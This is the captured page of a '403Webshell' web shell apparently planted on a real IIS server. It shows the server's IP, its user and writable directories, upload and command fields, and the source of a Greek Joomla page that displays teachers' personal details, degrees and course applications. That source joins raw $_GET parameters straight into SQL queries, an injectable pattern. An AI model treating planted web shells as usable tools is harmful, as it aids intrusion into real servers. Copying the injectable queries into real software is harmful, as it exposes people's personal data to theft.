403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ees_request/externalpages/ams/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ees_request/externalpages/ams/appStatus_show_appForm_2.php
<?php
    include('config.php');
    require_once('ApplicationForm.class.php'); 
    
    define( '_JEXEC', 1 );
    define('JPATH_BASE', dirname(__FILE__) );
    define( 'DS', DIRECTORY_SEPARATOR );
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );
    
    session_start();

    $mainframe =& JFactory::getApplication('site');
    $user =& JFactory::getUser();             
    
    if (!$user->guest) {
        
        $db_connection=mysql_connect($host, $username, $password, $db_name);
            if (!$db_connection) {
                die("<br><b>Database Error:</b> Could not connected. Try again later.<br>");
                exit;
            }
        @mysql_select_db($db_name, $db_connection) or die("Unable to select database.");
        mysql_query("SET NAMES 'utf8'", $db_connection);
        
        // show user's private information using $user->id form jos_users table 
        
        $Q = "SELECT *,DATE_FORMAT(`birthday`, '%d-%m-%Y') AS birthday_ FROM `jos_users` WHERE id='".$user->id."'";
        $result = mysql_query($Q);
        $row = mysql_fetch_array($result);
        
        echo "<br><a href='?option=com_content&view=article&id=47'>[ << Πίσω ]</a>";
?>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Στοιχεία Εκπαιδευτικού</font></b></font></td>
        </tr>
    </table>
    <table width="50%">
                    <tr><td><b>Επώνυμο:</b></td><td><?php echo $user->surname; ?></td>
                                </tr>
                                <tr><td><b>Όνομα:</b></td><td><?php echo $user->name; ?></td>
                                </tr> 
                                <tr><td><b>Αριθμός Ταυτότητας:</b></td><td><?php echo $row['idNumber']; ?></td></tr>
                                <tr><td><b>Όνομα Πατρός:</b></td><td><?php echo $row['fathersName']; ?></td></tr>
                                <tr><td><b>Ημ/νία Γεννήσεως:</b></td><td><?php echo $row['birthday_']; ?></td>
                                </tr>
                                <tr><td><b>Ιδιότητα:</b></td><td><?php echo $row['status']; ?></td></tr>

        <tr>
            <td align='left'><b><font color='#005800' size='3'>Στοιχεία Επικοινωνίας</b></font></td>
        </tr>

                                <tr><td><b>Τηλέφωνο Οικίας:</b></td><td><?php echo $row['phoneNumber']; ?></td>
                                </tr>
                                <tr><td><b>Κινητό Τηλέφωνο:</b></td><td><?php echo $row['mobileNumber']; ?></td>
                                </tr>
                                <tr><td><b>E-mail:</b></td><td><?php echo $row['email']; ?></td></tr>      

        <tr>
            <td align='left'><b><font color='#005800' size='3'>Στοιχεία Διεύθυνσης</font></b></font></td>
        </tr>

                                <tr><td><b>Διεύθυνση:</b></td><td><?php echo $row['address']; ?></td>
                                </tr>
                                <tr><td><b>Τ.Κ:</b></td><td><?php echo $row['postCode']; ?></td>
                                </tr>
                                <tr><td><b>Πόλη:</b></td><td><?php echo $row['city']; ?></td>
                                </tr>
    </table>      
<?php        
        //----------------------------------------------------------------------
        
        // show user's degrees using $user->id
        $Q = "SELECT degree.id, degree.title, degree.university, degree_level.level, degree.grade, DATE_FORMAT(degree.degreeDate,'%d-%m-%Y') AS dereeDate_, degree.degreeDate,degree.degreeLevelId 
              FROM degree, degree_level
              WHERE degree.userId='".$user->id."' AND degree_level.id=degree.degreeLevelId ORDER BY degreeDate;";
                
        $result = mysql_query($Q);
?>
            <br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Σπουδές Εκπαιδευτικού </font></b></font></td>
        </tr>
    </table> 
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">
                    <th>Τίτλος    </th>
                    <th>Ίδρυμα   </th>
                    <th>Επίπεδο </th>
                    <th>Βαθμός</th>      
                    <th>Ημερομηνία Λήψης </th>           
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo wordwrap($row['title'],30,"<br/>\n",true); ?></td>
                    <td><?php echo wordwrap($row['university'],30,"<br/>\n",true); ?></td>
                    <td><?php echo $row['level']; ?></td> 
                    <td><?php if( $row['grade'] == 0 ){echo '-';}else {echo $row['grade'];}?></td>  
                    <td><?php echo $row['dereeDate_']; ?></td>     
                </tr>
  <?php 
            }
            echo "</table>";
     
        //-----------------------------------------------------------------------
        
        // show user's languages using $user->id 
        
        $Q = "SELECT language.id, language.languageTypeId, language_type.language, language.titleCertificate, language.snCertificate, language.teachability 
              FROM language, language_type
              WHERE language.userId='".$user->id."' AND language_type.id=language.languageTypeId";
                
        $result = mysql_query($Q);
?>
<br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Ξένες Γλώσσες Εκπαιδευτικού  </font></b></font></td>
        </tr>
    </table>  
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">
                    <th>Γλώσσα
                    <th>Τίτλος Πτυχίου  
                    <th>Αριθμός Παραστατικού     
                    <th>Διδακτική Ικανότητα           
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo $row['language']; ?></td>
                    <td><?php echo $row['titleCertificate']; ?></td>
                    <td><?php echo $row['snCertificate']; ?></td> 
                    <td><?php if($row['teachability']==0){echo 'Όχι';}else {echo 'Ναι';}?></td>      
                </tr>
  <?php 
            }
            echo "</table>"; 
        //-------------------------------------------------------------------------
        
        // show user's proffesional experience using $user->id 
        
        $Q = "SELECT *,DATE_FORMAT(`since`,'%d-%m-%Y') AS since_, DATE_FORMAT(`until`,'%d-%m-%Y') AS until_ FROM pro_experience WHERE userId='".$user->id."' ORDER BY since;";
        $result = mysql_query($Q);
?>
<br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Επαγγελματική Εμπειρία Εκπαιδευτικού  </font></b></font></td>
        </tr>
    </table>   
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">
                    <th>Αντικείμενο
                    <th>Ιδιότητα  
                    <th>Από     
                    <th>Έως
                    <th>Αριθμός Παραστατικού          
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo wordwrap($row['scope'],40,"<br/>\n",true); ?></td>   
                    <td><?php echo $row['status']; ?></td> 
                    <td><?php echo $row['since_']; ?></td>
                    <td><?php echo $row['until_']; ?></td>  
                    <td><?php echo $row['docNumber']; ?></td> 
                </tr>
  <?php 
            }
            echo "</table>";
        //-----------------------------------------------------------------------------------      
        // show user's educational experience using $user->id 
        
        $Q = "SELECT *,DATE_FORMAT(`since`, '%d-%m-%Y') AS since_, DATE_FORMAT(`until`, '%d-%m-%Y') AS until_ FROM educ_experience WHERE userId='".$user->id."' ORDER BY since";        
        $result = mysql_query($Q);           
?>
<br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Εκπαιδευτική Εμπειρία Εκπαιδευτικού   </font></b></font></td>
        </tr>
    </table>  
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">            
                    <th>Τίτλος Μαθήματος</th>
                    <th>Ίδρυμα  </th>
                    <th>Τμήμα </th>    
                    <th>Από </th>
                    <th>Έως</th>
                    <th>Εκαδημαϊκά Εξάμηνα</th> 
                    <th>Αριθμός Παραστατικού</th>          
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo wordwrap($row['lesson'],30,"<br/>\n",true); ?></td>
                    <td><?php echo wordwrap($row['educInstitution'],30,"<br/>\n",true); ?></td> 
                    <td><?php echo wordwrap($row['department'],30,"<br/>\n",true); ?></td>
                    <td><?php echo $row['since_']; ?></td>
                    <td><?php echo $row['until_']; ?></td>
                     <td align="center"><?php if( $row['semesters'] == 0 ){echo '-';}else {echo $row['semesters']; }?></td>  
                    <td><?php echo $row['docNumber']; ?></td>     
                </tr>
  <?php 
            }
            echo "</table>";
        //-----------------------------------------------------------------------
        // show user's scientific activity using $user->id
        
        $Q = "SELECT * FROM scientific_activity WHERE userId='".$user->id."' ORDER BY year";         
        $result = mysql_query($Q);
?>
<br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Επιστημονική Δραστηριότητα Εκπαιδευτικού   </font></b></font></td>
        </tr>
    </table>  
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">
                    <th>Τίτλος
                    <th>Συγγραφέας  
                    <th>Περιοδικό/Συνέδριο    
                    <th>Τόμος
                    <th>Σελίδα
                    <th>Έτος 
                    <th>Αρ.Παραστατικού  
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo wordwrap($row['title'],30,"<br/>\n",true); ?></td>
                    <td><?php echo $row['author']; ?></td> 
                    <td><?php echo wordwrap($row['magazineCouncil'],30,"<br/>\n",true); ?></td>
                    <td><?php echo $row['tome']; ?></td>
                    <td><?php echo $row['page']; ?></td>  
                    <td><?php echo $row['year']; ?></td>
                    <td><?php echo $row['docNumber']; ?></td>        
                </tr>
  <?php 
            }
            echo "</table>";  
        //-----------------------------------------------------------------------
        // show user's available hours using $user->id 
                
        $Q = "SELECT * FROM available_hours WHERE userId='".$user->id."'";        
        $result = mysql_query($Q);
        
  ?>
            <br>
    <table width="50%">
        <tr>
            <td align='left'><b><font color='#005800' size='3'>Ώρες Απασχόλησης Εκπαιδευτικού   </font></b></font></td>
        </tr>
    </table>  
            <table width="100%" align="center" cellspacing="5">
                <tr align="center">
                    <th>Ημέρα
                    <th>Από  
                    <th>Έως     
                    <th>Σχόλιο           
                </tr>
<?php        
            while( $row = mysql_fetch_array($result) ) {
  ?>            
                <tr>
                    <td><?php echo $row['day']; ?></td>
                    <td><?php echo $row['fromHour']; ?></td> 
                    <td><?php echo $row['toHour']; ?></td>  
                    <td><?php echo $row['comment']; ?></td>         
                </tr>
  <?php 
            }
            echo "</table>";
        
        
        
        // show user's application form using DEPARTMENT_ID, SECTION_ID, LESSONS_IDS, EDUCATOR_NOTES, SEMESTER_TEACHING
                
               // $Q = "SELECT * FROM application_form WHERE userId='".$user->id."' AND departmentId='".$_GET['dId']."' AND sectionId='".$_GET['sId']."' AND academicYear='".$_GET['year']."'";
                $Q = "SELECT application_form.*,lesson.semester FROM application_form,lesson 
                        WHERE application_form.lessonId=lesson.id AND userId='".$user->id."' 
                        AND application_form.departmentId='".$_GET['dId']."' 
                        AND application_form.sectionId='".$_GET['sId']."' 
                        AND academicYear='".$_GET['year']."' 
                        ORDER BY semester,lessonTitle";
                
                $result = mysql_query($Q); 

                if( mysql_num_rows($result) > 0 ) {  
                  ?>
                                <br>
                        <table width="50%" cellspacing="5">
                            <tr>
                                <td align='left'><b><font color='#005800' size='3'>Δήλωση Μαθημάτων   </font></b></font></td>
                            </tr>
                        </table>  
                                <table width="100%" align="center">
                                    <tr align="center">
                                        <th>Τίτλος Μαθήματος
                                        <th>Εξάμηνο  
                                        <th>Εξάμηνα Διδασκαλίας
                                        <th>Χρήση Εγκεκριμένων Σημειώσεων             
                                    </tr>
                    <?php  
                                            
                                    while( $row = mysql_fetch_array($result) ) {
                                    
                                            $Q2 = "SELECT * FROM lesson WHERE id='".$row['lessonId']."'";
                                            $result2 = mysql_query($Q2);
                                            $lesson = mysql_fetch_array($result2);
                    ?>                      
                                            <tr>
                                                <td><?php echo $lesson['lessonTitle']; ?></td>
                                                <td><?php echo $lesson['semester']; ?></td> 
                                                <td><?php echo $row['semesterTeaching']; ?></td>  
                                                <td><?php echo $row['userNotes']; ?></td>         
                                            </tr> 
                      
                    <?php                              
                                    }
                                    echo "</table>";
                    
                }
                else {
                    echo "<br><font color='red'>Δεν βρέθηκαν Μαθήματα στη Συγκεκριμένη Αίτηση.</font>";
                } 
        //--------------------------------------------------------------------------------------------        
        echo "<br><a href='?option=com_content&view=article&id=47'>[ << Πίσω ]</a>";  
    }
    else {
        echo "<br><font color='red'>Απογορεύεται η πρόσβαση. Δεν είστε συνδεδεμένοι!</font>";
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit